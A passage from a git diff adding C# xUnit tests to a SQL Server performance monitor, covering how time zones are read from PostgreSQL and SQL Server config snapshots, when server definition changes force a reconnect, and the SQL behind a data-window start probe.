+        && IdOf(Paris) != TimeZoneInfo.Utc.Id && IdOf(Kolkata) != TimeZoneInfo.Utc.Id && IdOf(Chicago) != TimeZoneInfo.Utc.Id;
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    /// <summary>One <c>TimeZone</c> row of a PostgreSQL target's config snapshot. A row with a <paramref name="databaseName"/>
+    /// is a per-database override of the setting, which says nothing about the server's own clock.</summary>
+    private static async Task SeedTimeZoneAsync(
+        NpgsqlConnection connection, int serverId, DateTime collectionTimeUtc, string setting, string source,
+        CancellationToken ct, string? databaseName = null)
+    {
+        await using var command = new NpgsqlCommand(
+            """
+            INSERT INTO pg_server_config
+                (collection_id, collection_time, server_id, server_name, name, setting, unit, category, context, vartype,
+                 source, boot_val, reset_val, sourcefile, sourceline, pending_restart, short_desc, database_name, role_name)
+            VALUES ($1, $2, $3, $4, 'TimeZone', $5, NULL, 'Client Connection Defaults / Locale and Formatting', 'user', 'string',
+                    $6, 'GMT', $5, NULL, 0, FALSE, NULL, $7, NULL)
+            """, connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(Naive(collectionTimeUtc));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue("pg" + serverId);
+        command.Parameters.AddWithValue(setting);
+        command.Parameters.AddWithValue(source);
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)databaseName ?? DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>One <c>server_properties</c> row of a SQL Server target. A null offset is a snapshot that carries none.</summary>
+    private static async Task SeedPropertiesAsync(
+        NpgsqlConnection connection, int serverId, DateTime collectionTimeUtc, int? utcOffsetMinutes, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            """
+            INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, utc_offset_minutes)
+            VALUES ($1, $2, $3, $4, $5)
+            """, connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(Naive(collectionTimeUtc));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue("sql" + serverId);
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)utcOffsetMinutes ?? DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<string> ClockIdAsync(NpgsqlDataSource postgres, int serverId, CollectorTargetEngine engine, CancellationToken ct)
+    {
+        var stamp = await DarlingWorker.TryReadServerClockAsync(postgres, serverId, engine, logger: null, ct);
+        Assert.NotNull(stamp);
+        return stamp.Id;
+    }
+
+    /// <summary>A PostgreSQL target keeps its clock after its config collector stops: a snapshot ten days old, and one a hundred
+    /// days old, are still the server's clock, and the newest snapshot wins when there are several. Only a target with no
+    /// server-wide <c>TimeZone</c> row reads as UTC.</summary>
+    [Fact]
+    public async Task APostgresClock_IsReadHoweverOldItsNewestSnapshotIs_AndTheNewestSnapshotWins()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        Assert.SkipUnless(ResolvesIanaZones(), "This machine cannot resolve IANA zone names, so a zone cannot be told from UTC here.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int tenDays = 480_201, hundredDays = 480_202, newestWins = 480_203, none = 480_204;
+            var now = DateTime.UtcNow;
+
+            /* The config collector ran last ten days ago: the clock is still the one it reported. */
+            await SeedTimeZoneAsync(connection, tenDays, now.AddDays(-10), NewYork, "configuration file", ct);
+            /* ...and a hundred days ago. */
+            await SeedTimeZoneAsync(connection, hundredDays, now.AddDays(-100), Kolkata, "configuration file", ct);
+            /* Two snapshots: the zone changed, and the newest one is the clock. */
+            await SeedTimeZoneAsync(connection, newestWins, now.AddDays(-40), Tokyo, "configuration file", ct);
+            await SeedTimeZoneAsync(connection, newestWins, now.AddHours(-2), Paris, "configuration file", ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            Assert.Equal(IdOf(NewYork), await ClockIdAsync(postgres, tenDays, CollectorTargetEngine.PostgreSql, ct));
+            Assert.Equal(IdOf(Kolkata), await ClockIdAsync(postgres, hundredDays, CollectorTargetEngine.PostgreSql, ct));
+            Assert.Equal(IdOf(Paris), await ClockIdAsync(postgres, newestWins, CollectorTargetEngine.PostgreSql, ct));
+            Assert.Equal(DarlingWorker.ServerClockStamp.Utc.Id, await ClockIdAsync(postgres, none, CollectorTargetEngine.PostgreSql, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A per-database override of <c>TimeZone</c> and a session-scoped value are not the server's clock. They are
+    /// left out, so a target that has only those reads as UTC, and a server-wide row beside them is the one used.</summary>
+    [Fact]
+    public async Task APostgresClock_LeavesOutAnOverrideRow_AndASessionScopedRow()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        Assert.SkipUnless(ResolvesIanaZones(), "This machine cannot resolve IANA zone names, so a zone cannot be told from UTC here.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int overrideOnly = 480_211, sessionOnly = 480_212, serverWideBesideOverride = 480_213;
+            var now = DateTime.UtcNow;
+
+            await SeedTimeZoneAsync(connection, overrideOnly, now.AddHours(-1), Chicago, "database", ct, databaseName: "tenant1");
+            await SeedTimeZoneAsync(connection, sessionOnly, now.AddHours(-1), Tokyo, "client", ct);
+            await SeedTimeZoneAsync(connection, serverWideBesideOverride, now.AddDays(-3), Paris, "configuration file", ct);
+            await SeedTimeZoneAsync(connection, serverWideBesideOverride, now.AddHours(-1), Chicago, "database", ct, databaseName: "tenant1");
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            Assert.Equal(DarlingWorker.ServerClockStamp.Utc.Id, await ClockIdAsync(postgres, overrideOnly, CollectorTargetEngine.PostgreSql, ct));
+            Assert.Equal(DarlingWorker.ServerClockStamp.Utc.Id, await ClockIdAsync(postgres, sessionOnly, CollectorTargetEngine.PostgreSql, ct));
+            Assert.Equal(IdOf(Paris), await ClockIdAsync(postgres, serverWideBesideOverride, CollectorTargetEngine.PostgreSql, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A SQL Server target's clock is its newest <c>server_properties</c> row that has an offset, with no age limit:
+    /// a row thirty days old is still the offset the server last reported, and a newer snapshot that carries no offset does
+    /// not hide it.</summary>
+    [Fact]
+    public async Task ASqlServerClock_IsReadHoweverOldItsNewestRowIs_AndTheNewestRowWithAnOffsetWins()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            const int thirtyDays = 480_221, newestWins = 480_222, newerWithoutOffset = 480_223, none = 480_224;
+            var now = DateTime.UtcNow;
+
+            await SeedPropertiesAsync(connection, thirtyDays, now.AddDays(-30), -300, ct);
+            await SeedPropertiesAsync(connection, newestWins, now.AddDays(-30), -300, ct);
+            await SeedPropertiesAsync(connection, newestWins, now.AddDays(-20), -240, ct);
+            await SeedPropertiesAsync(connection, newerWithoutOffset, now.AddDays(-30), 330, ct);
+            await SeedPropertiesAsync(connection, newerWithoutOffset, now.AddHours(-1), null, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            Assert.Equal(IdOfOffset(-300), await ClockIdAsync(postgres, thirtyDays, CollectorTargetEngine.SqlServer, ct));
+            Assert.Equal(IdOfOffset(-240), await ClockIdAsync(postgres, newestWins, CollectorTargetEngine.SqlServer, ct));
+            Assert.Equal(IdOfOffset(330), await ClockIdAsync(postgres, newerWithoutOffset, CollectorTargetEngine.SqlServer, ct));
+            Assert.Equal(DarlingWorker.ServerClockStamp.Utc.Id, await ClockIdAsync(postgres, none, CollectorTargetEngine.SqlServer, ct));
+            Assert.NotEqual(DarlingWorker.ServerClockStamp.Utc.Id, IdOfOffset(-300));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingWorkerTests.cs b/Darling/Darling.Tests/DarlingWorkerTests.cs
index 54696c0822..b30946c3fa 100644
--- a/Darling/Darling.Tests/DarlingWorkerTests.cs
+++ b/Darling/Darling.Tests/DarlingWorkerTests.cs
@@ -150,6 +150,14 @@ public void ServerDefinitionEquals_ConnectionOrDbDelta_IsNotEqual_SoReconnects()
         excludedChanged.ExcludedDatabases = new List<string> { "tempdb", "reporting" };
         Assert.False(DarlingWorker.ServerDefinitionEquals(original, excludedChanged), "an excluded-databases change must reconnect");
 
+        var portChanged = SampleServer();
+        portChanged.Port = 5433;
+        Assert.False(DarlingWorker.ServerDefinitionEquals(original, portChanged), "a port-only change must reconnect: the connection is built from it");
+
+        var engineChanged = SampleServer();
+        engineChanged.Engine = "postgres";
+        Assert.False(DarlingWorker.ServerDefinitionEquals(original, engineChanged), "an engine change must reconnect");
+
         /* Sanity: two identical definitions compare equal. */
         Assert.True(DarlingWorker.ServerDefinitionEquals(original, SampleServer()));
     }
diff --git a/Darling/Darling.Tests/DataWindowFloorSnapshotAndRunLogLiveTests.cs b/Darling/Darling.Tests/DataWindowFloorSnapshotAndRunLogLiveTests.cs
new file mode 100644
index 0000000000..d4da184510
--- /dev/null
+++ b/Darling/Darling.Tests/DataWindowFloorSnapshotAndRunLogLiveTests.cs
@@ -0,0 +1,248 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: every fact reads the one scratch database the fixture mints through ScratchPostgres, seeds once, and
+   never writes again, so no fact sees a row another class planted, and the scratch database is dropped with the fixture. */
+public sealed class SnapshotAndRunLogFloorStore : IAsyncLifetime
+{
+    public static readonly string[] Relations = ["server_config", "database_config", "collection_log"];
+
+    private ScratchPostgres? _scratch;
+
+    public NpgsqlDataSource? DataSource { get; private set; }
+
+    /// <summary>The minute the store was seeded at: every relative time below is measured back from it.</summary>
+    public DateTime SeededAt { get; private set; }
+
+    /// <summary>Days the table keeps its rows: the config snapshots follow the fleet schedule (30), the run log keeps 60.</summary>
+    public static int HorizonDays(string relation) => relation == "collection_log" ? 60 : 30;
+
+    public static string TimeColumn(string relation) => relation == "collection_log" ? "collection_time" : "capture_time";
+
+    public static int ServerId(string relation, string scenario) =>
+        -496600 - (Array.IndexOf(Relations, relation) * 10 + Array.IndexOf(Scenarios, scenario));
+
+    public static readonly string[] Scenarios = ["new", "covered", "edge", "stale"];
+
+    public async ValueTask InitializeAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        if (string.IsNullOrEmpty(baseConnectionString))
+        {
+            return;
+        }
+
+        var now = DateTime.UtcNow;
+        SeededAt = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+        _scratch = await ScratchPostgres.CreateAsync(baseConnectionString, CancellationToken.None);
+        await using (var connection = new NpgsqlConnection(_scratch.ConnectionString))
+        {
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, CancellationToken.None);
+            foreach (var relation in Relations)
+            {
+                await SeedAsync(connection, relation);
+            }
+        }
+
+        DataSource = NpgsqlDataSource.Create(_scratch.ConnectionString);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (DataSource is not null)
+        {
+            await DataSource.DisposeAsync();
+        }
+
+        if (_scratch is not null)
+        {
+            await _scratch.DisposeAsync();
+        }
+    }
+
+    public static string ServerName(string relation, string scenario) => "floor-" + relation.Replace('_', '-') + "-" + scenario;
+
+    /* One server per scenario. The config snapshots arrive once a day, the run log every half hour. */
+    private async Task SeedAsync(NpgsqlConnection connection, string relation)
+    {
+        var log = relation == "collection_log";
+        var step = log ? "30 minutes" : "1 day";
+        var edge = SeededAt.AddDays(-HorizonDays(relation));
+
+        /* Added 2 days ago: its first collection is minutes after the registry row, its start is the registry row. */
+        await AddServerAsync(connection, relation, "new", SeededAt.AddDays(-2));
+        await InsertAsync(connection, relation, "new", log ? SeededAt.AddDays(-2) : SeededAt.AddDays(-2).AddMinutes(1), SeededAt, step);
+
+        /* Monitored for months, rows all the way back to the edge, and a quiet start: the first row inside a 7-day
+           window comes 5 hours after the window starts. */
+        await AddServerAsync(connection, relation, "covered", SeededAt.AddDays(-120));
+        if (log)
+        {
+            await InsertAsync(connection, relation, "covered", SeededAt.AddDays(-(HorizonDays(relation) - 1)), SeededAt.AddDays(-7).AddHours(-1), step);
+            await InsertAsync(connection, relation, "covered", SeededAt.AddDays(-7).AddHours(5), SeededAt, step);
+        }
+        else
+        {
+            await InsertAsync(connection, relation, "covered", SeededAt.AddDays(-(HorizonDays(relation) - 1)).AddHours(5), SeededAt, step);
+        }
+
+        /* Monitored for 90 days, its oldest surviving row 3 days after the purge edge. */
+        await AddServerAsync(connection, relation, "edge", SeededAt.AddDays(-90));
+        await InsertAsync(connection, relation, "edge", SeededAt.AddDays(-(HorizonDays(relation) - 3)), SeededAt, step);
+
+        /* The same, plus one row 20 hours older than the edge: the purge drops whole chunks and runs once a day, so
+           a row older than the edge can still be there, and the grids still show it. */
+        await AddServerAsync(connection, relation, "stale", SeededAt.AddDays(-90));
+        await InsertAsync(connection, relation, "stale", edge.AddHours(-20), edge.AddHours(-20), step);
+        await InsertAsync(connection, relation, "stale", SeededAt.AddDays(-(HorizonDays(relation) - 3)), SeededAt, step);
+    }
+
+    private async Task AddServerAsync(NpgsqlConnection connection, string relation, string scenario, DateTime createdUtc)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId(relation, scenario), ServerName(relation, scenario), CancellationToken.None);
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None, "UPDATE collect.servers SET created_date = $2 WHERE server_id = $1",
+            ServerId(relation, scenario), DarlingMcpTestData.Naive(createdUtc));
+    }
+
+    private static async Task InsertAsync(
+        NpgsqlConnection connection, string relation, string scenario, DateTime firstUtc, DateTime lastUtc, string step)
+    {
+        var columns = relation switch
+        {
+            "server_config" => "INSERT INTO collect.server_config (config_id, capture_time, server_id, server_name, configuration_name, value_configured, value_in_use, is_dynamic, is_advanced) "
+                + "SELECT row_number() OVER (), t, $1, $2, 'max degree of parallelism', 0, 0, TRUE, TRUE",
+            "database_config" => "INSERT INTO collect.database_config (config_id, capture_time, server_id, server_name, database_name) "
+                + "SELECT row_number() OVER (), t, $1, $2, 'FloorDb'",
+            _ => "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) "
+                + "SELECT row_number() OVER (), $1, $2, 'wait_stats', t, 12, 'SUCCESS', 0",
+        };
+
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None,
+            columns + $" FROM generate_series($3::timestamp, $4::timestamp, interval '{step}') AS t",
+            ServerId(relation, scenario), ServerName(relation, scenario), DarlingMcpTestData.Naive(firstUtc), DarlingMcpTestData.Naive(lastUtc));
+    }
+}
+
+/// <summary>
+/// Where the config snapshots and the collection log start, for the grids that show them. Every fact checks the
+/// answer against the earliest row the grid would show in the same window: a notice never names a time later than
+/// that row.
+/// </summary>
+public sealed class DataWindowFloorSnapshotAndRunLogLiveTests : IClassFixture<SnapshotAndRunLogFloorStore>
+{
+    private const int TimeoutSeconds = 30;
+
+    private readonly SnapshotAndRunLogFloorStore _store;
+
+    public DataWindowFloorSnapshotAndRunLogLiveTests(SnapshotAndRunLogFloorStore store) => _store = store;
+
+    /// <summary>A server added 2 days ago, read over 7 days: the floor is its start, the registry row.</summary>
+    [Theory]
+    [InlineData("server_config")]
+    [InlineData("database_config")]
+    [InlineData("collection_log")]
+    public async Task AServerAddedTwoDaysAgo_ReadOverSevenDays_HasItsStartAsTheFloor_AgainstDevPostgres(string relation)
+    {
+        var (floor, start, end, earliest) = await ProbeAsync(relation, "new", days: 7);
+
+        Assert.NotNull(floor);
+        Assert.Equal(_store.SeededAt.AddDays(-2), floor!.Value);
+        Assert.True(RawWindowFloor.IsTruncated(floor, start));
+        Assert.True(floor <= earliest, $"the floor {floor:O} is later than the earliest row {earliest:O}");
+
+        var byName = await DataWindowFloor.GetAsync(
+            _store.DataSource!, [SourceFor(relation)], [SnapshotAndRunLogFloorStore.ServerName(relation, "new")], start, end, TimeoutSeconds, TestContext.Current.CancellationToken);
+        Assert.Equal(floor, byName);
+    }
+
+    /// <summary>A server monitored for months whose first row in the window comes 5 hours in: the store covered the
+    /// whole window, so the floor is at or before its start and nothing is truncated.</summary>
+    [Theory]
+    [InlineData("server_config")]
+    [InlineData("database_config")]
+    [InlineData("collection_log")]
+    public async Task ACoveredRange_HasNoFloorInsideIt_AgainstDevPostgres(string relation)
+    {
+        var (floor, start, _, earliest) = await ProbeAsync(relation, "covered", days: 7);
+
+        Assert.NotNull(floor);
+        Assert.True(floor <= start, $"the floor {floor:O} is after the window's start {start:O}");
+        Assert.False(RawWindowFloor.IsTruncated(floor, start));
+        Assert.True(floor <= earliest);
+    }
+
+    /// <summary>The purge edge lies inside the range and the oldest surviving row is 3 days after it: the floor is the
+    /// edge, the later of the registry row and the schedule's cutoff, not the first row.</summary>
+    [Theory]
+    [InlineData("server_config")]
+    [InlineData("database_config")]
+    [InlineData("collection_log")]
+    public async Task APurgeEdgeInsideTheRange_IsTheFloor_AgainstDevPostgres(string relation)
+    {
+        var horizon = SnapshotAndRunLogFloorStore.HorizonDays(relation);
+        var (floor, start, _, earliest) = await ProbeAsync(relation, "edge", days: horizon + 15);
+
+        Assert.NotNull(floor);
+        Assert.True(floor >= _store.SeededAt.AddDays(-horizon) && floor <= DateTime.UtcNow.AddDays(-horizon), $"the floor {floor:O} is not the edge");
+        Assert.True(floor > start);
+        Assert.True(floor <= earliest);
+    }
+
+    /// <summary>A row older than the edge is still there (whole chunks drop, once a day) and the grids show it: the
+    /// floor moves back to that row, so it is never later than the earliest row the surface shows.</summary>
+    [Theory]
+    [InlineData("server_config")]
+    [InlineData("database_config")]
+    [InlineData("collection_log")]
+    public async Task ARowOlderThanTheEdge_MovesTheFloorBackToIt_AgainstDevPostgres(string relation)
+    {
+        var horizon = SnapshotAndRunLogFloorStore.HorizonDays(relation);
+        var (floor, _, _, earliest) = await ProbeAsync(relation, "stale", days: horizon + 15);
+
+        Assert.NotNull(floor);
+        Assert.Equal(_store.SeededAt.AddDays(-horizon).AddHours(-20), floor!.Value);
+        Assert.True(floor < DateTime.UtcNow.AddDays(-horizon));
+        Assert.Equal(earliest, floor);
+    }
+
+    private static DataWindowFloor.Source SourceFor(string relation) =>
+        relation == "collection_log" ? DataWindowFloor.Source.ForCollectionLog() : DataWindowFloor.Source.ForCollectorTable(relation);
+
+    private async Task<(DateTime? Floor, DateTime Start, DateTime End, DateTime? Earliest)> ProbeAsync(string relation, string scenario, int days)
+    {
+        Assert.SkipWhen(_store.DataSource is null, "Set DARLING_TEST_PG to a Postgres connection string to run the live data-start tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var end = DateTime.UtcNow.AddMinutes(1);
+        var start = end.AddDays(-days);
+        var serverId = SnapshotAndRunLogFloorStore.ServerId(relation, scenario);
+
+        var floor = await DataWindowFloor.GetForServerAsync(_store.DataSource!, SourceFor(relation), serverId, start, end, TimeoutSeconds, ct);
+
+        /* The earliest row the grid shows in the window: its own read, bounded the same way. */
+        var column = SnapshotAndRunLogFloorStore.TimeColumn(relation);
+        await using var command = _store.DataSource!.CreateCommand(
+            $"SELECT MIN({column}) FROM collect.{relation} WHERE server_id = $1 AND {column} >= $2 AND {column} <= $3");
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(DarlingMcpTestData.Naive(start));
+        command.Parameters.AddWithValue(DarlingMcpTestData.Naive(end));
+        var value = await command.ExecuteScalarAsync(ct);
+        return (floor, start, end, value is DateTime earliest ? earliest : null);
+    }
+}
diff --git a/Darling/Darling.Tests/DataWindowFloorTests.cs b/Darling/Darling.Tests/DataWindowFloorTests.cs
new file mode 100644
index 0000000000..b57deff181
--- /dev/null
+++ b/Darling/Darling.Tests/DataWindowFloorTests.cs
@@ -0,0 +1,426 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The data-start probe's SQL, the relations it accepts, which relations a compiled panel probes, and the notice's
+/// words. The live classes (<see cref="ComposeDataFloorLiveTests"/>, <see cref="ComposeRollupDataFloorLiveTests"/>)
+/// run the probe against PostgreSQL; these pin what it is allowed to read and how.
+/// </summary>
+public sealed class DataWindowFloorTests
+{
+    [Fact]
+    public void ThePanelProbe_AsksEachServerThroughItsOwnIndex_NeverFiltersTheFactTableByName()
+    {
+        var sql = DataWindowFloor.FloorSql([DataWindowFloor.Source.ForCollectorTable("waiting_tasks")], DataWindowFloor.Scope.ServerNames);
+
+        Assert.Contains("FROM collect.servers AS s", sql, StringComparison.Ordinal);
+        Assert.Contains("LEFT JOIN LATERAL", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("CROSS JOIN LATERAL", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE f.server_id = s.server_id", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   s.server_name = ANY($4)", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("f.server_name", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY f.collection_time", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 1", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>The scope is the fourth parameter (the window's end, its start and the probe's clock come first), and
+    /// a fleet probe carries none.</summary>
+    [Fact]
+    public void TheScope_IsTheFourthParameter_AndAFleetProbeHasNone()
+    {
+        var waitingTasks = new[] { DataWindowFloor.Source.ForCollectorTable("waiting_tasks") };
+
+        Assert.Contains("AND   s.server_id = $4", DataWindowFloor.FloorSql(waitingTasks, DataWindowFloor.Scope.ServerId), StringComparison.Ordinal);
+        Assert.Contains("AND   s.server_name = ANY($4)", DataWindowFloor.FloorSql(waitingTasks, DataWindowFloor.Scope.ServerNames), StringComparison.Ordinal);
+        Assert.DoesNotContain("$4", DataWindowFloor.FloorSql(waitingTasks, DataWindowFloor.Scope.Fleet), StringComparison.Ordinal);
+    }
+
+    /// <summary>The read inside the window has both bounds: it asks whether the server holds a row in the window and
+    /// where its first one is, so the earliest instant a row can move coverage to is the window's start. Before this,
+    /// the probe took the oldest row at or before the window's end, a row a purge may already have dropped.</summary>
+    [Fact]
+    public void TheWindowRead_IsBoundedOnBothSides_ForEverySource()
+    {
+        var raw = DataWindowFloor.FloorSql([DataWindowFloor.Source.ForCollectorTable("waiting_tasks")], DataWindowFloor.Scope.Fleet);
+        Assert.Contains("AND   f.collection_time >= $2", raw, StringComparison.Ordinal);
+        Assert.Contains("AND   f.collection_time <= $1", raw, StringComparison.Ordinal);
+
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsHourlyView, out var hourly));
+        var rollup = DataWindowFloor.FloorSql([hourly], DataWindowFloor.Scope.ServerId);
+        Assert.Contains("AND   f.bucket >= $2", rollup, StringComparison.Ordinal);
+        Assert.Contains("AND   f.bucket < $1", rollup, StringComparison.Ordinal);
+        Assert.Contains("AND   s.server_id = $4", rollup, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A collector table the schedule's retention governs (waiting_tasks and query_snapshots keep 7 days) takes its
+    /// edge from the purge cutoff, so the probe reads nothing older than the window: no row of the table is read
+    /// without the window's lower bound, and the first collection (the registry's created_date) is the other bound.
+    /// A quiet start, or a server whose first row came late, cannot raise a notice the store does not owe.
+    /// </summary>
+    [Theory]
+    [InlineData("waiting_tasks", 7)]
+    [InlineData("query_snapshots", 7)]
+    public void AScheduleGovernedTable_ReadsItsEdgeFromTheScheduleNotFromAWalk(string table, int defaultDays)
+    {
+        var source = DataWindowFloor.Source.ForCollectorTable(table);
+        Assert.Equal(defaultDays, source.RetentionDefaultDays);
+
+        var sql = DataWindowFloor.FloorSql([source], DataWindowFloor.Scope.Fleet);
+
+        Assert.Contains("GREATEST($3 - make_interval(days => COALESCE((SELECT o.retention_days FROM config.config_collector_schedules AS o", sql, StringComparison.Ordinal);
+        Assert.Contains($"lower(o.collector_name) = '{table}' AND o.retention_days >= 1 LIMIT 1), {defaultDays})), s.created_date)", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain(" AS h", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A source the schedule gives no edge (the raw relations the gated purge owns, the collectors whose purge is
+    /// floored at the baseline window, and every rollup) takes its edge from the oldest row the server holds at or
+    /// before the window's end, the rule before the probe read coverage. These tables are dense, so the oldest
+    /// row is where coverage starts; reading coverage from the first collection alone would give an old server no
+    /// notice however long before anything the table keeps the window starts. The walk is unbounded below and
+    /// sits in the select list, so it runs only for a server that counts.
+    /// </summary>
+    [Theory]
+    [InlineData("cpu_utilization_stats", "collection_time")]
+    [InlineData("file_io_stats", "collection_time")]
+    [InlineData("pg_wait_stats", "collection_time")]
+    [InlineData("query_stats", "collection_time")]
+    [InlineData("procedure_stats", "collection_time")]
+    [InlineData("query_store_stats", "collection_time")]
+    public void ASourceTheScheduleGivesNoEdge_WalksToTheOldestRowAtOrBeforeTheEnd(string table, string timeColumn)
+    {
+        Assert.True(DataWindowFloor.Source.TryForCollectorTable(table, out var source));
+        Assert.Null(source.RetentionDefaultDays);
+
+        var sql = DataWindowFloor.FloorSql([source], DataWindowFloor.Scope.Fleet);
+
+        var walk = $"COALESCE((SELECT h.{timeColumn} FROM collect.{table} AS h WHERE h.server_id = s.server_id AND h.{timeColumn} <= $1 ORDER BY h.{timeColumn} LIMIT 1), s.created_date)";
+        Assert.Contains(walk, sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("config.config_collector_schedules", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("make_interval", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$3", sql, StringComparison.Ordinal);
+
+        /* In the select list, ahead of FROM: the planner runs it on the rows the WHERE keeps, never on a server
+           that holds nothing in the window. */
+        Assert.True(sql.IndexOf(walk, StringComparison.Ordinal) < sql.IndexOf("FROM collect.servers AS s", StringComparison.Ordinal));
+        Assert.True(sql.IndexOf(walk, StringComparison.Ordinal) < sql.IndexOf("WHERE (w.t IS NOT NULL", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void ARollup_WalksToItsOldestBucketBeforeTheEnd_AndTheEndIsExclusive()
+    {
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsHourlyView, out var hourly));
+        Assert.Null(hourly.RetentionDefaultDays);
+
+        var sql = DataWindowFloor.FloorSql([hourly], DataWindowFloor.Scope.Fleet);
+
+        Assert.Contains(
+            $"COALESCE((SELECT h.bucket FROM collect.{TimescaleSupport.QueryStatsHourlyView} AS h WHERE h.server_id = s.server_id AND h.bucket < $1 ORDER BY h.bucket LIMIT 1), s.created_date)",
+            sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>A server counts only with a row, or a logged run of the collector, inside the window, so a server that
+    /// stopped before it (its registry row and history stay) cannot hide a newer server's late start on a fleet
+    /// panel. A rollup has no collector to log a run, so it counts by its rows alone.</summary>
+    [Fact]
+    public void AServerCounts_OnlyWithARowOrALoggedRunInTheWindow()
+    {
+        var collector = DataWindowFloor.FloorSql([DataWindowFloor.Source.ForCollectorTable("waiting_tasks")], DataWindowFloor.Scope.Fleet);
+        Assert.Contains("WHERE (w.t IS NOT NULL", collector, StringComparison.Ordinal);
+        Assert.Contains(
+            "OR EXISTS (SELECT 1 FROM collect.collection_log AS c WHERE c.server_id = s.server_id AND c.collector_name = 'waiting_tasks' AND c.collection_time >= $2 AND c.collection_time <= $1))",
+            collector, StringComparison.Ordinal);
+
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsHourlyView, out var hourly));
+        var rollup = DataWindowFloor.FloorSql([hourly], DataWindowFloor.Scope.Fleet);
